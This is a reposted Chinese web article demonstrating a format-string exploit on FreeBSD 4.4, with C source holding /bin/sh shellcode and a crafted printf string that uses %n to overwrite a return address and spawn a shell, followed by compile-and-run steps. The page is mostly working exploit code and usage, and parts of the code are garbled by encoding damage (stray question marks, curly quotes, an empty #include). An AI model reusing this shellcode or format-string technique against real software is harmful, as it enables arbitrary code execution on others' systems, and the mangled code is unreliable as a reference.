首页 / 趣闻 / FreeBSD格式化字符串简单演示

FreeBSD格式化字符串简单演示

/* simple example for printf ex on FreeBSD */
#include
char shell[]=
“1\xc0t\f_PPWW\x88G\a\xb0;\xcd\x80\xe8\xef\xff\xff\xff/bin/sh”;
long addr,length=shell-152;
char *pc = (char *)&addr;
int main(int argc,char * argv[])
{
  long p[1];
  char buff[76];
  addr = (long ) &p[2];
  sprintf(buff,”%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%%up\
 ? %%nCCC%c%c%c%c”,length,pc[0],pc[1],pc[2],pc[3]);
  printf(buff);?//所有的安全问题都在这,我们就是通过这得到shell的 ^_*
}

这样我们通过修改addr和length就能修改任意地址,写入任意内容
addr就是我们将要修改的地址
length+17×4+7 就是我们要填入的内容
在这儿addr=&p[2]就是main的返回地址 buff-28就是print返回地址 . . . .
length+17×4+7即为shell的地址,这样就回到了shell上运行得到了一个shell
当然你也可以指定addr为printf函数返回地址等 . . .?.
gcc printfex.c -o ex
./ex >/dev/null??????#为了防止打印太多东西?从定向(要不然shell出现之前得要打印几分钟)
好了现在什么也没有显示了,shell的输出都被从定向到/dev/null下了呵呵
随便敲一个 touch /tmp/testtest
exit
好了回到shell了去看看/tmp/testtest产生了没有.

//说明,本文不是入门级的,如果有什么不清楚请参阅网上相应文章
//最好建议自己打开gdb来调试
//Tested on FreeBSD4.4
 ??????? __ by watercloud __

本文来自网络,不代表155手机网立场,转载请注明出处:https://www.155shouji.com/html/happy/2020/0320/140458.html

dawei作者

【声明】:155手机网内容转载自互联网,其相关言论仅代表作者个人观点绝非权威,不代表本站立场。如您发现内容存在版权问题,请提交相关链接至邮箱:bqsm@foxmail.com,我们将及时予以处理。
上一篇
下一篇

为您推荐

联系我们

联系我们

0577-28828765

在线咨询: QQ交谈

邮箱: xwei067@foxmail.com

工作时间:周一至周五,9:00-17:30,节假日休息
返回顶部

本站内容转载自互联网,其发布内容言论不代表本站观点,如果其链接、内容的侵犯您的权益,烦请提交相关信息发邮件至xwei067@foxmail.com我们将及时予以处理。

建议您使用1366×768 分辨率、Microsoft Internet Explorer 11浏览器以获得本站的优质浏览效果

Copygight © 2017-2023 https://www.155shouji.com All Rights Reserved. 155手机网

站长:xwei067#foxmail.com(请把#换成@)